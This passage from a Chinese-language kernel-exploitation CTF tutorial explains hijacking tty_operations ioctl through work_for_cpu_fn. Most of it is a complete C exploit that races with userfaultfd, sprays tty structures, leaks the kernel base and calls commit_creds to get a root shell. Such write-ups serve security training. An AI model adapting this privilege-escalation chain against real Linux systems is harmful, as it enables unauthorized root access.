在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

简单分析可知该函数可以理解为如下形式:

1
2
3
4
static void work_for_cpu_fn(size_t * args)
{
args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

rdi + 0x20 处作为函数指针执行,参数为 rdi + 0x28 处值,返回值存放在 rdi + 0x30 处,由此我们可以很方便地分次执行 prepare_kernel_cred 和 commit_creds,且不用考虑 KPTI 绕过,直接返回用户态便能完成稳定化提权

与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write,因为 tty_struct[4] 处成员 ldisc_sem 为信号量,在执行到 work_for_cpu_fn 之前该值会被更改

需要注意的是 tty_operations 中的 ioctl 并不是直接执行的,此前需要经过多道检查,因此我们应当传入恰当的参数

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"

#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define WORK_FOR_CPU_FN 0xffffffff8109eb90

#define TTY_STRUCT_SIZE 0x2e0

static long page_size;
static sem_t sem_add, sem_edit;
static char * buf; // for userfaultfd

static char *page = NULL;
static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(100);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

long note_fd;
typedef struct
{
size_t idx;
size_t size;
char * buf;
} Note;

void noteAdd(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x100, &note);
}

void noteAddWrapper(void * args)
{
Note * note = (Note*) args;
noteAdd(note->idx, note->size, note->buf);
}

void noteDel(size_t idx)
{
Note note =
{
.idx = idx,
};
ioctl(note_fd, 0x200, &note);
}

void noteEdit(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x300, &note);
}

void noteEditWrapper(void * args)
{
Note * note = (Note*) args;
noteEdit(note->idx, note->size, note->buf);
}

void noteGift(char * buf)
{
Note note =
{
.buf = buf,
};
ioctl(note_fd, 100, &note);
}

void evilAdd(void * args)
{
sem_wait(&sem_add);
noteAdd((int)args, 0x50, buf);
}

void evilEdit(void * args)
{
sem_wait(&sem_edit);
noteEdit((int)args, 0x2000, buf);
}

struct
{
void * buf;
size_t size;
} notebook[0x10];

int main(int argc, char ** argv, char ** envp)
{
int tty_fd[0x100], tty_idx, fake_tty_ops_idx = -1, hit_tty = 0;
size_t tty_data[0x200], fake_tty_data[0x200], tty_ops, fake_tty_ops_data[0x200], rop[0x100];
pthread_t tmp_t, add_t, edit_t;
Note note;

saveStatus();
sem_init(&sem_add, 0, 0);
sem_init(&sem_edit, 0, 0);

note_fd = open("/dev/notebook", O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page = malloc(0x1000);
strcpy(page, "arttnba3");
page_size = sysconf(_SC_PAGE_SIZE);

// register userfaultfd
registerUserFaultFd(buf, 0x1000, fault_handler_thread);

// initialize the notebook
for (int i = 0; i < 0x10; i++)
{
noteAdd(i, 0x20, page);
noteEdit(i, TTY_STRUCT_SIZE, page);
}
puts("\033[32m\033[1m[+] Notebook initialization done.\033[0m");
sleep(1);

// get all the note free and get the threads stuck by userfaultfd to save their ptrs
for (int i = 0; i < 0x10; i++)
pthread_create(&edit_t, NULL, evilEdit, (void*)i);
puts("\033[34m\033[1m[*] Edit threads started.\033[0m");

for (int i = 0; i < 0x10; i++)
sem_post(&sem_edit);
puts("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m");
sleep(1);

// heap spraying to hit the tty_struct
for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m");
sleep(1);

// change the size stored in notebook to pass _check_object_size and get the threads stuck by userfaultfd to save the ptrs
for (int i = 0; i < 0x10; i++)
pthread_create(&add_t, NULL, evilAdd, (void*)i);
puts("\033[34m\033[1m[*] Add threads started.\033[0m");

for (int i = 0; i < 0x10; i++)
sem_post(&sem_add);
puts("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m");
sleep(1);

// check whether we've hit the tty_struct
noteGift((char*) notebook);
for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (hit_tty = (*((int*)tty_data) == 0x5401))
{
printf("\033[32m\033[1m[+] Successfully hit the tty_struct at idx \033[0m%d.\n", tty_idx = i);
printf("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n", notebook[i].buf);
break;
}
}
if (!hit_tty)
errExit("Failed to hit the tty struct.");

// get kernel base
tty_ops = *(unsigned long long*)(tty_data + 3);
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred);
printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);
printf("\033[32m\033[1m[+] work_for_cpu_fn: \033[0m%p\n", WORK_FOR_CPU_FN + kernel_offset);

// find available note as fake tty_ops and fake stack
for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (*((int*)tty_data) != 0x5401)
{
if (fake_tty_ops_idx == -1)
{
printf("\033[34m\033[1m[*] Fake tty_operations at idx \033[0m%d.\n", fake_tty_ops_idx = i);
break;
}
}
}
if (fake_tty_ops_idx == -1)
errExit("Unable to find enough available notes, you\'re so lucky that you got so many tty_structs.");

// adjust the size of the object
noteEdit(fake_tty_ops_idx, sizeof(struct tty_operations), fake_tty_data);
noteGift((char*) notebook);
printf("\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n", notebook[fake_tty_ops_idx].buf);

// hijack the ioctl
((struct tty_operations *)fake_tty_ops_data)->ioctl = WORK_FOR_CPU_FN + kernel_offset;
write(note_fd, fake_tty_ops_data, fake_tty_ops_idx);

/* ---- prepare_kernel_cred(NULL) ----*/

// store tty_struct data
read(note_fd, tty_data, tty_idx);
memcpy(fake_tty_data, tty_data, sizeof(size_t) * 0x200);

// set params in fake tty_struct
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = prepare_kernel_cred;
fake_tty_data[5] = NULL;
write(note_fd, fake_tty_data, tty_idx);

// exploit
puts("\033[34m\033[1m[*] Start prepare_kernel_cred(NULL)...\033[0m");
for (int i = 0; i < 0x80; i++)
ioctl(tty_fd[i], 233, 233);
puts("\033[32m\033[1m[*] Done.\033[0m");

/* ---- commit_creds(ROOT) ----*/getchar();

// get root cred back
read(note_fd, fake_tty_data, tty_idx);

// restore tty_struct data
memcpy(fake_tty_data, tty_data, sizeof(size_t) * 6);

// set params in fake tty_struct
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = commit_creds;
fake_tty_data[5] = fake_tty_data[6];
fake_tty_data[6] = tty_data[6];
write(note_fd, fake_tty_data, tty_idx);

// exploit
puts("\033[34m\033[1m[*] Start commit_creds(ROOT)...\033[0m");
for (int i = 0; i < 0x80; i++)
ioctl(tty_fd[i], 233, 233);
puts("\033[32m\033[1m[*] Done.\033[0m");

getRootShell();

return 0;
}

运行即可提权到 root

image.png

解法三:userfaultfd + kernel UAF + modprobe_path

0x08.qemu逃逸

qemu 逃逸也是近年来新兴起的一种 kernel pwn 题型,就 CTF 而言,qemu 逃逸主要利用的是加载了存在漏洞的第三方PCI设备,可以在 qemu 启动脚本中的 -device 项中看出

例题:D^3CTF2021 - d3dev

0xFF.What’s mote?